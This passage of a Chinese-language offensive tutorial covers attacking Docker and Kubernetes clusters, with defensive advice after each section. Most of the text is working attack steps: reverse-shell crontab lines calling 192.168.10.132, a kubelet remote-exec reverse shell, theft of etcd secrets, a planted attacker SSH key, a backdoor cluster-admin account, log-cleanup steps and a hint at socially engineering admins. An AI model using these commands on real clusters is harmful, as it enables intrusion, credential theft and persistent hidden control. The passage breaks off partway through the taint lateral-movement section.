docker exec进入该容器(如docker exec -it 容器ID bash),此时恶意runc会被触发,攻击者获取宿主机 root shell;
注意事项:
- 该漏洞需管理员交互(执行
docker exec),实战中可结合社工手段诱导管理员操作; - 漏洞利用后可能导致 Docker 服务异常,需谨慎使用;
- 修复方法:升级 Docker 到 18.09.2 以上,runc 到 1.0-rc6 以上。
Docker 安全自动化工具
CDK(零依赖容器渗透工具包)
简介:CDK(Container Debug Kit)是一款开源容器渗透工具,支持容器逃逸检测、漏洞利用、权限提升等功能,零依赖(无需安装额外库),适合实战场景。
项目地址:https://github.com/cdk-team/CDK
核心功能与命令:
功能 | 命令 | 说明 |
容器环境检测 |
| 检测是否为容器、是否为特权容器、是否有危险挂载, |
列出可用漏洞利用脚本 |
| 显示所有支持的漏洞利用脚本(如 |
自动逃逸检测与利用 |
| 自动检测可利用的逃逸漏洞,并执行指定命令(如 |
反弹 shell(CVE-2021-27365) |
| 利用 shim 漏洞反弹 shell,如 |
执行命令(CVE-2021-27365) |
| 利用 shim 漏洞执行命令,如 |
使用步骤:
- 下载对应架构的 CDK(如 linux-amd64):
wget https://github.com/cdk-team/CDK/releases/latest/download/cdk_linux_amd64.tar.gz
tar -zxvf cdk_linux_amd64.tar.gz- 赋予执行权限:
chmod +x cdk- 运行环境检测:
./cdk evaluate --fullContainer Escape Check(容器逃逸检测脚本)
简介:纯 bash 脚本,仅支持容器逃逸漏洞检测(不支持利用),体积小(约 10KB),无需依赖,适合快速排查容器安全风险。
项目地址:https://github.com/teamssix/container-escape-check
核心功能:
- 检测是否为 Docker/K8s 容器;
- 检测是否为特权容器、是否有危险挂载(如
/var/run/docker.sock、/proc/sys/kernel/core_pattern); - 检测是否存在已知逃逸漏洞(如 CVE-2019-5736、CVE-2021-41190)。
使用步骤(二选一):
- 直接在线执行(无需下载脚本):
wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O- | bash- 下载脚本后执行:
git clone https://github.com/teamssix/container-escape-check.git
cd container-escape-check
chmod +x container-escape-check.sh
./container-escape-check.shKubernetes(K8s)安全
K8s 核心概念与架构
K8s解析
Kubernetes(简称 K8s)是开源的容器编排平台,用于自动化容器的部署、扩展、运维和故障恢复,解决大规模容器集群的管理问题。核心价值:
- 自动化运维:自动实现容器的启停、重启、扩缩容(如根据 CPU 使用率自动增加 Pod 数量);
- 资源优化:通过调度算法将 Pod 分配到合适的节点,提高资源利用率;
- 高可用性:支持 Pod 故障自动迁移、节点故障自动恢复,保障业务不中断;
- 服务发现与负载均衡:通过 Service 组件实现 Pod 的网络访问抽象,自动负载均衡。
核心架构组件
K8s 集群由集群控制节点(Master) 和工作负载节点(Node) 两部分组成:
组件类型 | 组件名称 | 核心作用 |
集群控制节点(Master) | kube-apiserver | 集群的 “入口”,处理所有 API 请求(如创建 Pod、查看 Service),是所有组件的通信中枢 |
kube-scheduler | Pod 调度器,根据 Pod 的资源需求(如 CPU、内存)和节点条件(如污点、亲和性),将 Pod 调度到合适的 Node | |
kube-controller-manager | 控制器管理器,运行各种控制器(如 Node 控制器、ReplicaSet 控制器、Deployment 控制器),确保集群状态与期望状态一致 | |
etcd | 集群的后端存储,保存所有集群数据(如 Pod 配置、Secret、Token),是 K8s 的 “数据库” | |
工作负载节点(Node) | kubelet | 运行在每个 Node 上,负责 Pod 的生命周期管理(如启动、停止 Pod),确保 Pod 按照配置运行 |
kube-proxy | 运行在每个 Node 上,负责 Service 的网络代理,实现 Pod 的负载均衡和网络隔离 | |
Container Runtime | 容器运行时,负责运行容器(如 Docker、containerd、CRI-O) |
核心资源对象
- Pod:K8s 的最小部署单元,包含一个或多个容器,共享网络和存储(如一个 Pod 内包含 Web 容器和日志收集容器);
- Service:Pod 的网络抽象,为一组 Pod 提供固定访问地址(如 ClusterIP、NodePort、LoadBalancer),实现 Pod 的负载均衡和服务发现;
- Namespace:资源隔离机制,将集群资源划分为多个命名空间(如
default、kube-system、kube-public),不同 Namespace 的资源相互隔离; - ConfigMap:配置管理资源,存储非敏感配置信息(如数据库地址、端口),可挂载到 Pod 内供容器使用;
- Secret:敏感信息管理资源,存储密码、Token、证书等敏感数据(base64 编码),支持加密存储(需配置 ETCD 加密);
- Deployment:Pod 的控制器,用于管理 Pod 的创建、扩缩容、滚动更新(如通过 Deployment 将 Pod 数量从 2 个扩缩到 5 个)。
判断对方是否使用k8s方法(端口识别)
| 默认端口 | 对应组件 | 端口作用 | 安全风险等级 |
|-------------|----------------|-------------------------------------------|--------------|
| 8080 | kube-apiserver | 非安全端口(HTTP),无需认证(旧版本默认) | 极高(直接未授权访问) |
| 6443 | kube-apiserver | 安全端口(HTTPS),需认证+TLS加密 | 高(鉴权配置不当则沦陷) |
| 10250 | kubelet | kubelet API端口(HTTPS),管理Pod | 极高(未授权可执行Pod命令) |
| 10255 | kubelet | kubelet只读端口(HTTP),暴露Pod状态 | 中(泄露集群信息) |
| 2379 | etcd | etcd客户端通信端口 | 极高(未授权可窃取敏感数据) |
| 10251 | kube-scheduler | scheduler组件通信端口 | 中(仅内部通信,暴露则有风险) |
| 8001 | Kubernetes Dashboard | Dashboard代理端口(默认通过kubectl proxy访问) | 高(未授权可控制集群) |K8s 安全风险核心逻辑
K8s 安全风险的本质是 “权限失控” 与 “隔离失效”:
- 权限失控:如 API Server 未授权、kubelet 匿名访问开启、Config 文件泄露,导致攻击者获取超预期权限;
- 隔离失效:如 Pod 挂载宿主机根目录、特权容器配置,打破容器与宿主机的隔离,引发容器逃逸。
K8s漏洞利用
Ⅰ:API Server 未授权访问(8080 端口)
漏洞背景:旧版本 K8s(≤1.15)的 API Server 默认开启两个端口:
- 8080 端口(非安全端口):无需认证和加密,仅用于测试,默认监听
0.0.0.0; - 6443 端口(安全端口):需 TLS 加密和认证,默认开启。
- 新版本 K8s(≥1.16)已默认关闭 8080 端口,仅保留 6443 端口;若用户手动修改配置开启 8080 端口,会导致未授权访问。
漏洞配置:
API Server 的配置文件(/etc/kubernetes/manifests/kube-apiserver.yaml)中添加以下参数:
spec:
containers:
- command:
- kube-apiserver
- --insecure-port=8080 # 开启非安全端口8080
- --insecure-bind-address=0.0.0.0 # 监听所有IP实战利用步骤:
步骤 1:检测漏洞
访问http://目标IP:8080/api/v1/pods,若返回 Pod 列表 JSON 数据,确认存在未授权;
步骤 2:安装 kubectl 工具
kubectl 是 K8s 命令行工具,用于与 API Server 交互,安装步骤如下:
- Linux 系统
# 下载kubectl(对应K8s版本,此处以v1.28.0为例)
curl -LO "https://dl.k8s.io/release/v1.28.0/bin/linux/amd64/kubectl"
# 赋予执行权限
chmod +x ./kubectl
# 移动到系统路径(便于全局调用)
sudo mv ./kubectl /usr/local/bin/
# 验证安装
kubectl version --client- Windows 系统:直接访问官网下载 exe 文件,添加到系统环境变量(原文档链接有效,补充系统适配说明)。
步骤4:通过 kubectl 操作集群
原文档命令格式存在换行混乱,修正并补充每步目的:
# 1. 获取集群所有节点(确认集群规模与节点IP)
kubectl.exe -s http://192.168.10.128:8080 get nodes
# 2. 获取default命名空间下所有Pod(寻找可利用的业务Pod)
kubectl.exe -s http://192.168.10.128:8080 get pods -n default
# 3. 通过test.yaml创建恶意Pod(挂载宿主机根目录,用于逃逸)
kubectl.exe -s http://192.168.10.128:8080 create -f test.yaml -n default
# 4. 进入恶意Pod(新版kubectl需加“--”分隔命令,原文档已提及,补充说明作用)
kubectl.exe -s http://192.168.10.128:8080 -n default exec -it test -- bash步骤 5:容器逃逸
- 逃逸原理:test.yaml 中通过
hostPath: /将宿主机根目录挂载到 Pod 的/mnt,容器内修改/mnt/etc/crontab等同于修改宿主机定时任务,触发反弹 shell、。 - 逃逸命令
# 在Pod内执行:写入定时任务,每分钟反弹shell到攻击者IP:端口
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.10.132/6666 0>&1\n" >> /mnt/etc/crontab- 攻击者监听
nc -lvvp 6666 # 监听6666端口,等待宿主机反弹shelltest.yaml文件内容如下:
apiVersion: v1 #指定使用的Kubernetes API版本
kind: Pod #声明这是一个Pod资源定义
metadata:
name: test #这个Pod将被命名为test
spec:
containers:
- image: nginx #使用nginx镜像
name: test-container #容器名称为test-container
volumeMounts: #定义容器挂载的卷
- mountPath: /mnt #将卷挂载到容器内的/mnt目录
name: test-volume #引用名为"test-volume"的卷
volumes: #定义Pod可用的卷
- name: test-volume #卷名称为test-volume
hostPath: #使用主机路径作为卷
path: / #将主机的根目录(/)作为卷防御方案
- 版本升级:将 K8s 升级到 1.16 及以上,默认关闭 8080 端口;
- 禁用非安全端口:删除
kube-apiserver.yaml中的--insecure-port和--insecure-bind-address参数; - 网络隔离:通过防火墙 / 网络策略限制 6443 端口访问源(仅允许运维 IP / 内网访问);
- 身份认证:配置 API Server 的 TLS 认证(使用 6443 端口),强制所有请求携带合法证书或 Token。
Ⅱ:API Server 6443 端口未授权访问
漏洞原理
6443 是 K8s 默认安全端口,需 TLS 加密,但部分集群因RBAC 鉴权配置错误,将匿名用户(system:anonymous)绑定到最高权限角色cluster-admin,导致匿名用户可通过 6443 端口以管理员权限操作集群、。
- RBAC 概念:RBAC(基于角色的访问控制)是 K8s 默认鉴权机制,通过
ClusterRole(集群级角色)和ClusterRoleBinding(角色绑定)分配权限,cluster-admin是集群最高权限角色(可操作所有资源)。
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous //创建一个集群角色绑定,将 cluster-admin 这个最高权限的集群角色绑定到 system:anonymous
kubectl get clusterrolebinding system:anonymous //查看system:anonymous 的集群角色绑定
kubectl delete clusterrolebinding system:anonymous //删除这个绑定漏洞检测与利用
步骤 1:漏洞检测
# 方法1:curl访问6443端口,跳过TLS验证,若返回API列表则可能存在漏洞
curl -k https://目标IP:6443/api/v1/nodes
# 方法2:用kubectl测试未授权访问(跳过TLS验证)
kubectl --insecure-skip-tls-verify -s https://目标IP:6443 get nodes
# 方法3:直接访问6443端口查看是否存在数据步骤 3:漏洞利用
POST 请求创建 Pod
原文档至的 POST 请求 JSON 存在语法错误(如引号不匹配、字段缺失),修正后完整请求(用 Burp Suite 发送):
POST /api/v1/namespaces/default/pods HTTP/1.1
Host: x.x.x.x:6443
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 1176
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test01\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test01\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"
},
"name": "sectest",
"namespace": "default"
},
"spec": {
"containers": [
{
"image": "nginx:1.14.2",
"name": "test01",
"volumeMounts": [
{
"mountPath": "/host",
"name": "host"
}
]
}
],
"volumes": [
{
"hostPath": {
"path": "/",
"type": "Directory"
},
"name": "host"
}
]
}
}
步骤 4:容器逃逸
# 1. 查看创建的sectest Pod状态(确保Running)
kubectl --insecure-skip-tls-verify -s https://192.168.10.128:6443 get pods -n default
# 2. 进入sectest Pod
kubectl --insecure-skip-tls-verify -s https://192.168.10.128:6443 --namespace=default exec -it sectest bash
kubectl --insecure-skip-tls-verify -s https://192.168.10.128:6443 --namespace=default exec -it sectest -- bash//新版kubectl语法
# 3. 写入宿主机定时任务(/host对应宿主机/)
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.10.132/6677 0>&1\n" >> /host/etc/crontab
# 4. 攻击者监听6677端口
nc -lvvp 6677防御方案
- 定期审计 RBAC 配置:用
kubectl get clusterrolebinding检查是否存在异常角色绑定(如匿名用户绑定高权限); - 禁用匿名访问:在
kube-apiserver.yaml中添加--anonymous-auth=false,彻底禁用匿名用户; - TLS 证书强制验证:拒绝
--insecure-skip-tls-verify的请求,要求所有客户端携带合法证书; - 权限最小化:业务账号仅分配必要权限(如仅允许操作特定命名空间的 Pod),不使用
cluster-admin。
Ⅲ:kubelet 10250 端口未授权访问
漏洞原理与配置错误
kubelet 是 Node 节点的核心组件,10250 是其默认 API 端口,负责 Pod 生命周期管理。若在/var/lib/kubelet/config.yaml中配置:
authentication.anonymous.enabled: true(开启匿名访问);authorization.mode: AlwaysAllow(允许所有请求);
则攻击者可通过 10250 端口执行 Pod 命令、获取节点信息、、。- 危险配置示例:
apiVersion: kubelet.config.k8s.io/v1beta1
kind: KubeletConfiguration
address: 0.0.0.0 # 监听所有IP(默认仅127.0.0.1)
authentication:
anonymous:
enabled: true # 开启匿名访问
authorization:
mode: AlwaysAllow # 允许所有请求漏洞检测与参数提取
步骤 1:漏洞检测
# 1. 检测10250端口是否开放
nmap -p 10250 目标IP
# 2. 访问pods路径,若返回Pod列表则存在漏洞(跳过TLS验证)
curl -k https://目标IP:10250/pods步骤 2:提取关键参数(pod/namespace/container)
方法一:访问https://192.168.10.128:10250/runningpods/获取参数值
方法二:用 jq 工具解析 JSON(环境需提前安装 jq):
# 1. 下载runningpods数据(保存为json文件)
curl -k https://192.168.10.128:10250/runningpods/ -o pods.json
# 2. 用jq解析,提取所有pod、namespace、container名称
jq -r '.items[] | .metadata.namespace + " " + .metadata.name + " " + .spec.containers[].name' pods.json示例输出(便于后续选择目标):kube-system kube-proxy-t4tcq kube-proxydefault web-app web-container
实战利用
# 格式:curl -XPOST -k "https://目标IP:10250/run/<namespace>/<pod>/<container>" -d "cmd=命令"
# 示例1:在kube-system命名空间的kube-proxy Pod中执行id命令
curl -XPOST -k "https://192.168.10.128:10250/run/kube-system/kube-proxy-t4tcq/kube-proxy" -d "cmd=id"
//pod,namespace,container不行就多换几个
# 示例2:执行反弹shell命令(需URL编码,避免特殊字符被拦截)
curl -XPOST -k "https://192.168.10.128:10250/run/default/web-app/web-container" -d "cmd=bash -i >%26 /dev/tcp/192.168.10.132/6688 0>%261"- 补充 URL 编码说明:
>&需编码为%26,0>&1编码为0>%261,否则 curl 会解析为本地命令。
防御方案
- 禁用匿名访问:在
kubelet.config.yaml中设置authentication.anonymous.enabled: false; - 配置授权模式:将
authorization.mode改为Webhook(通过 API Server 鉴权),而非AlwaysAllow; - 限制端口访问:通过防火墙限制 10250 端口仅允许 Master 节点访问(kubelet 仅与 Master 通信);
- 启用 TLS 认证:为 kubelet 配置 TLS 证书,强制客户端携带合法证书访问 10250 端口。
Ⅳ:etcd 2379 端口未授权访问
漏洞原理与 etcd 角色
etcd 是 K8s 的分布式键值存储,存储所有集群敏感数据(如 Secret、Service Account Token、Pod 配置),2379 是其默认客户端端口。若etcd.yaml中未配置--client-cert-auth=true(开启客户端证书验证),则 etcd 暴露未授权访问风险。
- etcd 版本差异
- v2 版本:默认 HTTP 协议,数据可通过
http://ip:2379/v2/keys/直接访问; - v3 版本:默认 gRPC 协议(需用 etcdctl 工具访问),HTTP 访问需开启网关,数据结构与 v2 不兼容。
漏洞检测与利用
步骤 1:漏洞检测
# 1. 检测2379端口开放状态
nmap -p 2379 目标IP
# 2. 检测v2版本未授权(返回key-value则存在漏洞)
curl http://目标IP:2379/v2/keys/?recursive=true
# 3. 检测v3版本未授权(需安装etcdctl)
etcdctl --endpoints=http://目标IP:2379 get / --prefix # 返回集群所有数据则存在漏洞步骤 2:etcdctl 工具安装与配置
Linux 安装步骤:
# 1. 下载etcd压缩包(v3.5.9为例,适配多数K8s版本)
curl -LO "https://github.com/etcd-io/etcd/releases/download/v3.5.9/etcd-v3.5.9-linux-amd64.tar.gz"
# 2. 解压
tar -zxvf etcd-v3.5.9-linux-amd64.tar.gz
# 3. 移动etcdctl到系统路径
sudo mv etcd-v3.5.9-linux-amd64/etcdctl /usr/local/bin/
# 4. 配置v3版本(默认是v2,需手动指定)
export ETCDCTL_API=3步骤 3:敏感数据窃取
# 1. 获取集群所有键值对(查看数据结构)
etcdctl --endpoints=http://192.168.10.136:2379 get / --prefix
# 2. 筛选Secret(K8s敏感凭证存储路径)
etcdctl --endpoints=http://192.168.10.136:2379 get / --prefix --keys-only | grep /secrets/
# 3. 读取指定Secret(如kube-system下的cluster-admin Token)
etcdctl --endpoints=http://192.168.10.136:2379 get /registry/secrets/kube-system/cluster-admin-token-jdp5z- Token 解析 :etcd 中存储的 Secret 是 base64 编码,需解码查看明文:
# 示例:将Token的base64字符串解码
echo "eyJhbGciOiJSUzI1NiIsImtpZCI6Ik..." | base64 -d步骤 4:利用 Token 控制集群
# 用窃取的Token访问API Server(跳过TLS验证)
kubectl --insecure-skip-tls-verify -s https://192.168.10.128:6443 -- token="eyJhbGciOiJSUzI1NiIsImtpZCI6Ik..." -n kube-system get pods
# 后续操作与8080端口攻击一致(创建test.yaml逃逸)防御方案
- 开启证书验证:在
etcd.yaml中添加--client-cert-auth=true和--trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt(指定 CA 证书); - 限制监听地址:配置
--listen-client-urls=https://127.0.0.1:2379(仅本地访问),避免公网暴露; - 加密存储:启用 etcd 数据加密(K8s 1.13 + 支持),即使数据被窃取也无法解析;
- 定期备份:etcd 数据定期备份,避免被篡改后无法恢复。
Ⅴ: Dashboard 未授权访问后的详细利用流程
Dashboard 未授权访问的核心诱因是配置错误 + 网络暴露:
- 配置错误
- 启用
enable-skip-login参数(跳过登录页面,直接进入管理界面); - 将 Dashboard 的 Service Account 绑定
cluster-admin角色(获取集群最高权限); - 未启用 TLS 加密(HTTP 协议传输,存在中间人风险)。
- 网络暴露:
Dashboard 默认通过ClusterIP仅集群内部访问,若通过NodePort(如端口 30001)、LoadBalancer或Ingress暴露到公网 / 办公网,外部攻击者可直接访问。
未授权访问成功后,攻击者可完全控制集群(创建 / 删除 Pod、获取所有节点权限、窃取敏感数据)
3. 漏洞利用
配置了enable-skip-login时可以在登录页面跳过登录,访问kubernetes dashboard页面会出现Skip按钮
- 进入到管理页面后就可以新建pods
- 进入容器后,切换到挂载的主机根目录:
cd /host - 执行逃逸操作(多种方式):
- 方式 1:写入 crontab 计划任务
# 查看主机crontab路径(不同系统可能不同,如CentOS为/var/spool/cron/root,Ubuntu为/var/spool/cron/crontabs/root)
ls -l /host/var/spool/cron/
# 写入反弹shell计划任务(假设攻击机IP为192.168.10.132,端口6677)
# 注意:需根据主机crontab路径调整
echo -e "* * * * * root /bin/bash -i >& /dev/tcp/192.168.10.132/6677 0>&1\n" >> /host/var/spool/cron/root
# 强制crontab生效(部分系统需重启crond服务)
/host/bin/systemctl restart crond 2>/dev/null || /host/bin/service crond restart 2>/dev/null
- 方式 2:利用 chroot 切换到主机根目录(获取主机权限)
# 在容器内执行chroot,切换根目录为挂载的主机根目录
chroot /host /bin/bash
# 此时已获得主机的shell,可执行如查看主机/etc/passwd、修改SSH配置等操作
cat /etc/passwd- 方式 3:修改主机 SSH 配置(若主机开启 SSH)
# 允许root登录SSH(若禁止)
sed -i 's/PermitRootLogin no/PermitRootLogin yes/' /host/etc/ssh/sshd_config
# 添加SSH公钥(攻击者公钥),便于后续登录
mkdir -p /host/root/.ssh/
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..." > /host/root/.ssh/authorized_keys
# 重启SSH服务
/host/bin/systemctl restart sshd 2>/dev/null || /host/bin/service ssh restart 2>/dev/null4. 清理痕迹
- 删除创建的恶意 Pod:在 Dashboard 中找到 Pod,点击 “删除”
- 清除 crontab 中的反弹 shell 命令:
sed -i '/192.168.10.132/d' /host/var/spool/cron/root - 删除 SSH 公钥(若添加):
rm -f /host/root/.ssh/authorized_keys
Ⅵ: Configfile 鉴权文件泄露
什么是 K8s Config 文件
K8s Config 文件(通常称为 kubeconfig)是 kubectl 等客户端工具与 K8s API Server 交互的配置凭证,包含集群信息(API Server 地址、CA 证书)、用户信息(客户端证书、密钥、Token)、上下文信息(关联集群与用户,指定默认命名空间)三部分核心内容,是集群管理的 “钥匙”。
Config 文件的泄露途径
- 途径 1:开发者 / 运维人员本地机器泄露
- 本地机器被入侵(如植入 webshell、木马),攻击者读取
~/.kube/config文件; - 本地机器误将 config 文件上传到公开代码仓库(如 Github、GitLab),通过关键词搜索(如 “kubeconfig”、“certificate-authority-data”)可被攻击者发现;
- 本地机器备份文件泄露(如 U 盘丢失、云存储(百度云、阿里云 OSS)公开分享包含 config 的压缩包)。
- 途径 2:容器内泄露
- 容器挂载了主机的
/root/.kube/或/home/user/.kube/目录(如部署运维工具时配置不当),攻击者进入容器后可直接读取 config 文件; - 容器内应用日志打印了 config 文件内容(如调试时将配置输出到日志,未清理),攻击者通过查看日志获取。
- 途径 3:配置管理工具泄露
- 自动化部署工具(如 Ansible、Jenkins、GitLab CI/CD)的配置中存储了 config 文件,若工具权限管控不当,攻击者可通过工具漏洞获取;
- 云平台(如 AWS EKS、阿里云 ACK)的 IAM 权限配置不当,攻击者通过低权限账号获取集群 config 文件(如调用云平台 API 获取 kubeconfig)。
泄露后的利用步骤
步骤 1:获取并验证 config 文件
- 将泄露的 config 文件保存为本地文件(如
stolen-kubeconfig);
- 验证文件有效性:
# 查看集群节点(--insecure-skip-tls-verify跳过CA证书验证,若config中包含CA证书可省略)
kubectl --kubeconfig=config --insecure-skip-tls-verify get nodes
# 若返回节点列表,说明config文件有效且有对应权限步骤 2:探测权限范围
- 查看可操作的命名空间:
kubectl --kubeconfig=stolen-kubeconfig get namespaces - 查看系统命名空间(kube-system)资源:
kubectl --kubeconfig=stolen-kubeconfig -n kube-system get pods - 查看集群角色权限:
kubectl --kubeconfig=stolen-kubeconfig get clusterroles --show-labels - 若能查看 / 修改 cluster-admin 角色绑定,说明拥有集群最高权限。
步骤 3:部署恶意 Pod 并逃逸(完整命令)
- 准备恶意 YAML 文件(test.yaml,同 Dashboard 部分);
- 部署 Pod:
kubectl --kubeconfig=config apply -f test.yaml -n default
# 查看Pod状态,等待Running
kubectl --kubeconfig=config get pods -n default- 进入 Pod 并逃逸:
# 进入Pod(test为Pod名称)
kubectl --kubeconfig=stolen-kubeconfig exec -it test -n default -- bash
# 挂载主机根目录(/mnt为挂载点)
cd /mnt
# 写入crontab反弹shell(攻击机IP:192.168.10.132,端口6677)
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.10.132/6677 0>&1\n" >> /etc/crontab
# 重启crond服务
systemctl restart crond 2>/dev/null || service crond restart 2>/dev/null步骤 4:长期控制集群
- 创建持久化后门账号:
# 创建ServiceAccount(后门账号)
kubectl --kubeconfig=stolen-kubeconfig create serviceaccount backdoor -n kube-system
# 绑定cluster-admin角色
kubectl --kubeconfig=stolen-kubeconfig create clusterrolebinding backdoor-cluster-admin --clusterrole=cluster-admin --serviceaccount=kube-system:backdoor
# 获取ServiceAccount的Token(用于后续登录)
kubectl --kubeconfig=stolen-kubeconfig -n kube-system get secret $(kubectl --kubeconfig=stolen-kubeconfig -n kube-system get sa/backdoor -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 -d- 保存 Token,后续可通过
kubectl --token=<token> ...控制集群,无需依赖原 config 文件。
安全加固建议
- 权限控制:将 config 文件权限设置为
chmod 600 ~/.kube/config,仅允许所有者读写; - 避免泄露:禁止将 config 文件上传到代码仓库,使用
.gitignore排除.kube/目录; - 短期凭证:使用临时 Token(如通过
kubectl create token生成,默认有效期 1 小时)替代长期 config 文件; - 审计日志:开启 K8s API Server 审计日志,监控 config 文件的使用(如异常 IP 访问、敏感操作);
- 最小权限:为不同用户配置最小权限的 ServiceAccount,避免全员使用 cluster-admin 权限。
Ⅶ:Proxy 不安全配置
什么是 kubectl proxy
kubectl proxy 是 K8s 客户端工具提供的代理功能,用于在本地启动一个 HTTP 服务器,将本地请求转发到 K8s API Server。其核心作用是:
- 解决本地机器无法直接访问 API Server(如 API Server 仅监听内网地址)的问题;
- 利用本地 kubectl 的认证凭证(config 文件)自动完成 API Server 的身份验证,无需手动携带 Token。
默认情况下,kubectl proxy 仅监听本地回环地址(127.0.0.1),端口随机分配,外部无法访问,相对安全。但配置不当(如指定--address=0.0.0.0)会导致代理服务暴露到公网 / 内网,形成安全隐患。
不安全配置的常见场景
配置命令 | 风险描述 | 攻击场景 |
| 监听所有网卡(0.0.0.0),端口 8080,外部可访问 | 攻击者通过内网 / 公网访问 |
| 允许所有主机访问(--accept-hosts='.*'),无主机限制 | 攻击者从任意 IP 访问代理服务,扩大攻击范围 |
| 不拒绝任何 HTTP 方法(如 POST、DELETE),允许执行修改操作 | 攻击者通过代理发送 POST 请求创建 Pod、DELETE 请求删除资源,完全控制集群 |
不安全 Proxy 的利用步骤
场景:运维人员在公网可达的机器上执行kubectl proxy --address=0.0.0.0 --port=8080
步骤 1:探测代理服务可用性
- 使用 curl 或浏览器访问代理端口,确认是否存活:
# 访问API Server的版本接口(通过代理)
curl http://<目标IP>:8080/version
# 若返回类似如下内容,说明代理服务可用
{
"major": "1",
"minor": "24",
"gitVersion": "v1.24.0",
"gitCommit": "4ce5a8954017644c5420bae81d72b09b735c21f0",
"gitTreeState": "clean",
"buildDate": "2022-05-03T13:46:05Z",
"goVersion": "go1.18.1",
"compiler": "gc",
"platform": "linux/amd64"
}步骤 2:获取集群信息(未授权访问)
- 查看节点列表:
curl http://<目标IP>:8080/api/v1/nodes - 查看 Pod 列表(kube-system 命名空间):
curl http://<目标IP>:8080/api/v1/namespaces/kube-system/pods - 查看 Secret(包含敏感凭证):
curl http://<目标IP>:8080/api/v1/namespaces/kube-system/secrets
步骤 3:执行修改操作(如创建 Pod)
- 构造 POST 请求,通过代理创建恶意 Pod:
# 定义恶意Pod的JSON数据(与之前YAML对应)
POD_JSON='{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "proxy-malicious-pod",
"namespace": "default"
},
"spec": {
"containers": [
{
"name": "malicious-container",
"image": "nginx:alpine",
"command": ["/bin/sh", "-c", "sleep 3600"],
"volumeMounts": [
{
"name": "host-root-volume",
"mountPath": "/host"
}
]
}
],
"volumes": [
{
"name": "host-root-volume",
"hostPath": {
"path": "/",
"type": "Directory"
}
}
],
"restartPolicy": "Never"
}
}'
# 发送POST请求创建Pod
curl -X POST -H "Content-Type: application/json" -d "$POD_JSON" http://<目标IP>:8080/api/v1/namespaces/default/pods步骤 4:进入 Pod 并逃逸(同前)
- 通过代理执行 kubectl 命令(若本地有 kubectl):
# 利用代理访问集群,进入Pod
kubectl -s http://<目标IP>:8080 exec -it proxy-malicious-pod -n default -- bash
# 后续逃逸操作与Dashboard、Configfile部分一致安全加固建议
- 禁止暴露代理服务:避免使用
--address=0.0.0.0,保持默认监听 127.0.0.1; - 限制访问主机:使用
--accept-hosts参数限制允许访问的主机,如--accept-hosts='^localhost$,^127.0.0.1$'(仅允许本地访问); - 拒绝危险方法:使用
--reject-methods参数拒绝修改类 HTTP 方法,如--reject-methods='POST,PUT,PATCH,DELETE'(仅允许 GET 请求,只读权限); - 临时使用:代理服务仅在需要时启动,使用完毕后立即关闭(
Ctrl+C终止进程); - 进程监控:定期检查机器上的 kubectl proxy 进程,使用
ps aux | grep kubectl proxy,发现不安全配置立即终止。
Ⅷ: K8s 环境下的污点横移
污点与容忍的核心概念
- 污点(Taint)
:节点(Node)上的 “排斥标记”,用于拒绝不符合条件的 Pod 调度到该节点。污点是K8s高级调度的特性,用于限制哪些Pod可以被调度到某一个节点,一般主节点包含一个污点,这个污点是阻止Pod调度到主节点上面,除非有Pod能容忍这个污点,而通常容忍这个污点的Pod都是系统级别的Pod。
污点一般有三种值:
- NoSchedule:仅影响新 Pod 调度,已运行的 Pod 不受影响(若 Pod 不容忍污点,新 Pod 无法调度到该节点);
- PreferNoSchedule:“软排斥”,K8s 会优先将 Pod 调度到无此污点的节点,若没有合适节点,仍可调度到该节点;
- NoExecute:“硬排斥”,不仅新 Pod 无法调度,已运行的不容忍该污点的 Pod 会被驱逐。
- 容忍(Toleration):Pod 上的 “豁免标记”,用于声明 Pod 可 “容忍” 节点的某个污点,从而允许被调度到该节点。
- 核心逻辑:只有当节点的污点被 Pod 的容忍匹配时,Pod 才有可能被调度到该节点(还需满足资源、亲和性等其他条件)。
常见节点污点场景
节点类型 | 默认污点(若有) | 作用 |
Master 节点 | node-role.kubernetes.io/master:NoSchedule(K8s 1.24 及之前)/ node-role.kubernetes.io/control-plane:NoSchedule(K8s 1.24 及之后) | 防止普通 Pod 调度到 Master 节点,避免影响集群控制组件(如 kube-apiserver、etcd)的稳定性 |
GPU 节点 | node.kubernetes.io/gpu:NoSchedule(自定义) | 仅允许需要 GPU 资源的 Pod 调度到该节点,避免资源浪费 |
故障节点 | node.kubernetes.io/unreachable:NoExecute(K8s 自动添加) | 当节点不可达时,驱逐该节点上的所有 Pod |
污点横移的攻击背景
攻击者通过前期漏洞(如 API Server 未授权、kubelet 未授权、Configfile 泄露)控制了集群中的一个普通 Pod(通常在 Worker 节点),但 Worker 节点权限有限(如无法访问 Master 节点的敏感组件 etcd、kube-apiserver 配置)。此时,攻击者可通过 “污点横移” 技术,创建一个容忍 Master 节点污点的 Pod,将其调度到 Master 节点,进而控制整个集群(Master 节点存储了集群的核心配置和凭证)。
污点横移的详细利用步骤
前提条件
- 攻击者已获取集群的操作权限(如通过 kubectl 命令、Dashboard、API 接口);
- 已知目标节点(如 Master)的污点信息;
- 集群允许创建 Pod(无 PodSecurityPolicy、PodSecurityStandard 等限制)。
步骤 1:获取节点污点与标签信息
- 查看所有节点的污点:
# 查看所有节点的污点(重点关注Master节点)
